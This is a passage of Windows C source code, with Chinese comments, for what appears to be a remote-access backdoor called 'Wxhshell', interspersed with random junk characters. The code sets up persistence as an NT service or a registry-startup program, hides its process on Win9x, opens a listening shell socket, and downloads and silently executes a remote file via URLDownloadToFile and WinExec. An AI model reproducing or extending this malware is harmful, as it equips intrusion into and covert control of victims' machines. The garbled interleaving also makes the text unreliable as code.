K)UA hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?uXY 6J" if(hProcess==NULL) return 0; ZK8DziO :fQN_*B4@4 HMODULE hMod; a KIS%M#Y char procName[255]; 4|NcWpaV7 unsigned long cbNeeded; 0$|wj^?U Pz-=Eq if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #!4`t]E<
Mm%b8#Fe! CloseHandle(hProcess); _#w5hXcu a]4|XJ_ if(strstr(procName,"services")) return 1; // 以服务启动 j2 jUrl uKo4nXVtp return 0; // 注册表启动 mWuhXY^Q } D1EHT} t}gK)"g // 主模块 u HXb=U int StartWxhshell(LPSTR lpCmdLine) ]%UAN_T { n yNHjn
|W SOCKET wsl; ;h#CT#R2 BOOL val=TRUE; M \>5" ,0 int port=0; `7'=~BP?X struct sockaddr_in door; [H>/N7v19* Dm`gzGl if(wscfg.ws_autoins) Install(); J=ot&% fw0Z- 9* port=atoi(lpCmdLine); N~B'gJJDx N}q*(r!q< if(port<=0) port=wscfg.ws_port; tfjb G;R /P*ph0S- WSADATA data; #M92=IH if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D$SO 6X~ #e6x_o| if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nG"Ae8r setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }:+P{ door.sin_family = AF_INET; a!:R_P}7 door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ls NJ3oy door.sin_port = htons(port); HA.
O"A8` bc\?y2
3 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~q{QquYV closesocket(wsl); }j,G)\g# return 1; n7d`J_%s } yj9Ad*. e{0O"Jd` if(listen(wsl,2) == INVALID_SOCKET) { RueL~$*6.~ closesocket(wsl); XU$\.g p- return 1; \>4x7mF! } WI54xu1M Wxhshell(wsl); *JVJKqed WSACleanup(); 6
i]B8Ziq{ #^q@ra return 0; b!g8NG sUsIu,1Q } V_pKe~ 5@~5RNrq2 // 以NT服务方式启动 dH0wVI<z VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RTTEAh:. { 'w}/o+x@ DWORD status = 0; znd fIt^ DWORD specificError = 0xfffffff; '8fL)Zk ,YmTx serviceStatus.dwServiceType = SERVICE_WIN32; )X-TJ+d serviceStatus.dwCurrentState = SERVICE_START_PENDING; mOx>p"n serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~
*P9_< serviceStatus.dwWin32ExitCode = 0; ys|};* serviceStatus.dwServiceSpecificExitCode = 0; }ABHGr5[ serviceStatus.dwCheckPoint = 0; xiQ;lE
serviceStatus.dwWaitHint = 0; tNCKL.yU i- r y5x hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x<{)xP+| if (hServiceStatusHandle==0) return; `d:cq.OO BmFs6{>~c status = GetLastError(); n\H.NL)
if (status!=NO_ERROR) 6-uB[$ko { Di #E m[ serviceStatus.dwCurrentState = SERVICE_STOPPED; 1FmVx serviceStatus.dwCheckPoint = 0; -44''w?z serviceStatus.dwWaitHint = 0; !u|s|6{\ serviceStatus.dwWin32ExitCode = status; Sc&p*G serviceStatus.dwServiceSpecificExitCode = specificError; @KC;"u'C SetServiceStatus(hServiceStatusHandle, &serviceStatus); R8R,!3 N return; <4P"1#nHQ+ } u\|Ys 0"$'1g^]7 serviceStatus.dwCurrentState = SERVICE_RUNNING; xGymQ|y84 serviceStatus.dwCheckPoint = 0; 9$P*fx&m serviceStatus.dwWaitHint = 0; t~FOaSt if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Hf$LWPL)lM } KmRxbf JZB@K6 ~dO // 处理NT服务事件,比如:启动、停止 d!]_n|B@9 VOID WINAPI NTServiceHandler(DWORD fdwControl) D$y-Kh { ziui switch(fdwControl) ?TVR{e: { .=4k'99, case SERVICE_CONTROL_STOP: v"G) G)*z serviceStatus.dwWin32ExitCode = 0; `1"Xj ^
YM serviceStatus.dwCurrentState = SERVICE_STOPPED; w
B[H& serviceStatus.dwCheckPoint = 0; +46?+kKt serviceStatus.dwWaitHint = 0; :0B'
b { [\e2 ID; SetServiceStatus(hServiceStatusHandle, &serviceStatus); G=%SMl>[ } mmrz:_ return; &c1zEgl case SERVICE_CONTROL_PAUSE: :u>9H{a serviceStatus.dwCurrentState = SERVICE_PAUSED; \d{S3\7 break; Lj03Mx.2S case SERVICE_CONTROL_CONTINUE: VtD:'L- serviceStatus.dwCurrentState = SERVICE_RUNNING; Q@/358.LA break; `.a~G
y case SERVICE_CONTROL_INTERROGATE: _m|Tr*i8 break; l@ W?qw }; O*7`Waag SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vy[ m%sEP } |#=4]]>m knJoVo] // 标准应用程序主函数 9N]V F' int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y:}!W { \@HsMV2+zN )S6"I // 获取操作系统版本 fbK`A?5K OsIsNt=GetOsVer(); LdM9k( GetModuleFileName(NULL,ExeFile,MAX_PATH); F[5\
x0 gT~Yn~~b // 从命令行安装 ;nB.f.e` if(strpbrk(lpCmdLine,"iI")) Install(); /DBldL7yi $q~:%pQv // 下载执行文件 s>^$: wzu if(wscfg.ws_downexe) { 1ti4 ZM if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3A.T_mGCs WinExec(wscfg.ws_filenam,SW_HIDE); {y
k0Zef_ } c$HZvv KnuQ5\y if(!OsIsNt) { i'bUX=JK // 如果时win9x,隐藏进程并且设置为注册表启动 :F`yAB3 HideProc(); -<tfbaA StartWxhshell(lpCmdLine); N^{+1u7 } 2{E"#}/ else z(&~O;;N# if(StartFromService()) I,xV&j+< // 以服务方式启动 |}>;wZ[7 StartServiceCtrlDispatcher(DispatchTable); +Tw ]u` else J< U,~ra\ // 普通方式启动 $pg1Av7l StartWxhshell(lpCmdLine); yl[6b1 bM"crRG" return 0; ZeyAbo }
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